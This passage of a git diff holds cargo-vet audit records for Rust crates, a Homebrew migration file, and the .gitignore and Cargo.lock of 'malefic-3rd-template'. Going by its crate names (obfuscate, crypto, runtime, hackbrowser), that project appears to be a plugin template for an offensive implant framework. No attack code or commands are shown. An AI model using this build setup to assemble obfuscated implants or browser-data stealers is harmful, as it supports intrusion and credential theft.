"https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.43 -> 1.0.48" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.48 -> 1.0.51" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.51 -> 1.0.52" +notes = "Reruns the build script if the `RUSTC_BOOTSTRAP` env variable changes." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.52 -> 1.0.56" +notes = """ +Build script changes are to refactor the existing probe into a separate file +(which removes a filesystem write), and adjust how it gets rerun in response to +changes in the build environment. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.56 -> 1.0.58" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.58 -> 1.0.60" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.60 -> 1.0.61" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.61 -> 1.0.63" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.43 -> 1.0.48" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.48 -> 1.0.51" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.51 -> 1.0.52" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.52 -> 1.0.56" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.56 -> 1.0.58" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.58 -> 1.0.60" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.60 -> 1.0.61" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.thiserror-impl]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.61 -> 1.0.63" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.time-core]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.1.0 -> 0.1.1" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.toml_datetime]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +version = "0.5.1" +notes = "Crate has `#![forbid(unsafe_code)]`, no `unwrap / expect / panic`, no ambient capabilities." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.toml_datetime]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.5.1 -> 0.6.1" +notes = "Fixes a bug in parsing negative minutes in datetime string offsets." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.toml_datetime]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.6.2 -> 0.6.3" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.typenum]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.16.0 -> 1.17.0" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.universal-hash]] +who = "Daira Hopwood " +criteria = "safe-to-deploy" +delta = "0.4.1 -> 0.5.0" +notes = "I checked correctness of to_blocks which uses unsafe code in a safe function." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-backend]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.2.88 -> 0.2.89" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-backend]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.2.89 -> 0.2.92" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-macro]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.2.87 -> 0.2.89" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-macro]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.2.89 -> 0.2.92" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-macro-support]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +version = "0.2.92" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-shared]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.2.83 -> 0.2.84" +notes = "Bumps the schema version to add `linked_modules`." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-shared]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.2.84 -> 0.2.87" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-shared]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.2.87 -> 0.2.89" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.wasm-bindgen-shared]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.2.89 -> 0.2.92" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.web-sys]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.65 -> 0.3.66" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.web-sys]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.66 -> 0.3.69" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.which]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "4.3.0 -> 4.4.0" +notes = "New APIs are remixes of existing code." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.which]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "4.4.0 -> 4.4.2" +notes = """ +Crate now has `#![forbid(unsafe_code)]`, replacing its last `unsafe` block with a +dependency on the `rustix` crate. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.zeroize_derive]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.3.2 -> 1.3.3" +notes = "Removes `T: Drop` bound from `impl Drop for SomeType`. I agree it was unnecessary." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.zeroize_derive]] +who = "Sean Bowe " +criteria = "safe-to-deploy" +delta = "1.3.3 -> 1.4.1" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.zeroize_derive]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.4.1 -> 1.4.2" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" diff --git a/lib/rage/tap_migrations.json b/lib/rage/tap_migrations.json new file mode 100644 index 0000000..0e35e56 --- /dev/null +++ b/lib/rage/tap_migrations.json @@ -0,0 +1,3 @@ +{ + "rage": "homebrew/core" +} \ No newline at end of file diff --git a/malefic-3rd-template/.gitignore b/malefic-3rd-template/.gitignore new file mode 100644 index 0000000..52a264c --- /dev/null +++ b/malefic-3rd-template/.gitignore @@ -0,0 +1,3 @@ +/target +/.idea +/malefic-3rd-go/src/go/hackbrowser/*.exe diff --git a/malefic-3rd-template/Cargo.lock b/malefic-3rd-template/Cargo.lock new file mode 100644 index 0000000..51bb346 --- /dev/null +++ b/malefic-3rd-template/Cargo.lock @@ -0,0 +1,1130 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aho-corasick" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916" +dependencies = [ + "memchr", +] + +[[package]] +name = "allocator-api2" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" + +[[package]] +name = "anyhow" +version = "1.0.98" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487" + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "bitflags" +version = "2.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967" + +[[package]] +name = "bytes" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" + +[[package]] +name = "cc" +version = "1.2.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2352e5597e9c544d5e6d9c95190d5d27738ade584fa8db0a16e130e5c2b5296e" +dependencies = [ + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268" + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "const-random" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87e00182fe74b066627d63b85fd550ac2998d4b0bd86bfed477a0ae4c7c71359" +dependencies = [ + "const-random-macro", +] + +[[package]] +name = "const-random-macro" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9d839f2a20b0aee515dc581a6172f2321f96cab76c1a38a4c584a194955390e" +dependencies = [ + "getrandom 0.2.16", + "once_cell", + "tiny-keccak", +] + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad" +dependencies = [ + "libc", + "windows-sys 0.60.2", +] + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + +[[package]] +name = "fixedbitset" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d674e81391d1e1ab681a28d99df07927c6d4aa5b027d7da16ba32d1d21ecd99" + +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + +[[package]] +name = "futures" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-executor" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" + +[[package]] +name = "futures-macro" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-timer" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f288b0a4f20f9a56b5d1da57e2227c661b7b16168e2f72365f57b63326e29b24" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.1+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasi 0.14.2+wasi-0.2.4", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" +dependencies = [ + "allocator-api2", + "equivalent", + "foldhash", +] + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "indexmap" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "generic-array", +] + +[[package]] +name = "itertools" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b192c782037fadd9cfa75548310488aabdbf3d2da73885b31bd0abd03351285" +dependencies = [ + "either", +] + +[[package]] +name = "libc" +version = "0.2.174" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776" + +[[package]] +name = "libloading" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7c4b02199fee7c5d21a5ae7d8cfa79a6ef5bb2fc834d6e9058e89c825efdc55" +dependencies = [ + "cfg-if", + "windows-link 0.2.1", +] + +[[package]] +name = "linux-raw-sys" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12" + +[[package]] +name = "log" +version = "0.4.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94" + +[[package]] +name = "malefic-3rd-c" +version = "0.1.0" +dependencies = [ + "cc", + "malefic-3rd-ffi", +] + +[[package]] +name = "malefic-3rd-ffi" +version = "0.1.0" +dependencies = [ + "malefic-proto", + "malefic-runtime", + "prost", +] + +[[package]] +name = "malefic-3rd-go" +version = "0.1.0" +dependencies = [ + "malefic-3rd-ffi", +] + +[[package]] +name = "malefic-3rd-nim" +version = "0.1.0" +dependencies = [ + "cc", + "malefic-3rd-ffi", +] + +[[package]] +name = "malefic-3rd-rust" +version = "0.1.0" +dependencies = [ + "malefic-3rd-ffi", +] + +[[package]] +name = "malefic-3rd-template" +version = "0.1.0" +dependencies = [ + "bytes", + "crypto-common", + "futures", + "futures-channel", + "getrandom 0.2.16", + "hashbrown", + "libloading", + "malefic-3rd-c", + "malefic-3rd-go", + "malefic-3rd-nim", + "malefic-3rd-rust", + "malefic-3rd-zig", + "malefic-common", + "malefic-module", + "malefic-proto", + "malefic-runtime", + "tokio", +] + +[[package]] +name = "malefic-3rd-zig" +version = "0.1.0" +dependencies = [ + "cc", + "malefic-3rd-ffi", +] + +[[package]] +name = "malefic-common" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-timer", + "libc", + "malefic-obfuscate", + "nanorand", + "thiserror", + "tokio", +] + +[[package]] +name = "malefic-crypto" +version = "0.1.0" +dependencies = [ + "aes", + "cfg-if", + "ctr", + "snap", + "thiserror", +] + +[[package]] +name = "malefic-macro" +version = "0.1.1" +dependencies = [ + "aes", + "const-random", + "ctr", + "proc-macro2", + "quote", + "rand", + "syn", +] + +[[package]] +name = "malefic-module" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-channel", + "malefic-common", + "malefic-macro", + "malefic-obfuscate", + "malefic-proto", + "thiserror", +] + +[[package]] +name = "malefic-obfuscate" +version = "0.1.0" +dependencies = [ + "aes", + "ctr", + "libc", + "malefic-macro", + "nanorand", + "windows", +] + +[[package]] +name = "malefic-proto" +version = "0.1.0" +dependencies = [ + "anyhow", + "cfg-if", + "malefic-common", + "malefic-crypto", + "malefic-macro", + "malefic-obfuscate", + "nanorand", + "prost", + "prost-build", + "thiserror", +] + +[[package]] +name = "malefic-runtime" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-channel", + "malefic-common", + "malefic-module", + "malefic-proto", + "prost", +] + +[[package]] +name = "memchr" +version = "2.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0" + +[[package]] +name = "multimap" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d87ecb2933e8aeadb3e3a02b828fed80a7528047e68b4f424523a0981a3a084" + +[[package]] +name = "nanorand" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3" + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "petgraph" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3672b37090dbd86368a4145bc067582552b29c27377cad4e0a306c97f9bd7772" +dependencies = [ + "fixedbitset", + "indexmap", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "prettyplease" +version = "0.2.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff24dfcda44452b9816fff4cd4227e1bb73ff5a2f1bc1105aa92fb8565ce44d2" +dependencies = [ + "proc-macro2", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "prost" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "bytes", + "prost-derive", +] + +[[package]] +name = "prost-build" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "heck", + "itertools", + "log", + "multimap", + "once_cell", + "petgraph", + "prettyplease", + "prost", + "prost-types", + "regex", + "syn", + "tempfile", +] + +[[package]] +name = "prost-derive" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "anyhow", + "itertools", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "prost-types" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "prost", +] + +[[package]] +name = "quote" +version = "1.0.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.16", +] + +[[package]] +name = "regex" +version = "1.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b5288124840bee7b386bc413c487869b360b2b4ec421ea56425128692f2a82c" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "833eb9ce86d40ef33cb1306d8accf7bc8ec2bfea4355cbdebb3df68b40925cad" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" + +[[package]] +name = "rustix" +version = "1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11181fbabf243db407ef8df94a6ce0b2f9a733bd8be4ad02b4eda9602296cac8" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.60.2", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "slab" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a2ae44ef20feb57a68b23d846850f861394c2e02dc425a50098ae8c90267589" + +[[package]] +name = "snap" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b6b67fb9a61334225b5b790716f609cd58395f895b3fe8b328786812a40bc3b" + +[[package]] +name = "syn" +version = "2.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da58917d35242480a05c2897064da0a80589a2a0476c9a3f2fdc83b53502e917" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1" +dependencies = [ + "fastrand", + "getrandom 0.3.3", + "once_cell", + 